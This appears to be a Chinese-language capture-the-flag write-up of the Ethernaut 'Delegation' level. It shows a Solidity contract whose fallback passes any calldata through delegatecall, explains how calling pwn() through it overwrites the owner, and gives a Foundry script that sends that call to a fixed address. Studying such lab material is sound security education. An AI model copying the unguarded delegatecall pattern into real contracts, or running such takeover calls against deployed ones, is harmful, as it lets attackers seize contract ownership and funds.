合约代码：`Delegation.sol`

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
    address public owner;

    constructor(address _owner) {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

contract Delegation {
    address public owner;
    Delegate delegate;

    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        (bool result,) = address(delegate).delegatecall(msg.data);
        if (result) {
            this;
        }
    }
}
```

目标是获得合约所有权。

思路：

1. 构造一个调用 `pwn()` 函数的交易
2. 将这个调用发送到 `Delegation` 合约（而不是 `Delegate` 合约）
3. `Delegation` 合约没有 `pwn()` 函数，所以会触发 fallback 函数
4. fallback 函数通过 `delegatecall` 执行 `Delegate` 合约的 `pwn()` 函数
5. 由于是 `delegatecall`，`owner = msg.sender` 会修改 `Delegation` 合约的存储，而不是 `Delegate` 合约的

脚本：`Delegation.s.sol`

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Script.sol";
import "../src/Delegation.sol";
```

```
6
7  contract MyScript is Script {
8      Delegation _delegation =
   Delegation(0xF14852bd918e142d1805f8dD4D80f6b27eDC9D56);
9
10     function run() public {
11         vm.startBroadcast();
12
13         address(_delegation).call(abi.encodeWithSignature("pwn()"));
14
15         vm.stopBroadcast();
16     }
17 }
```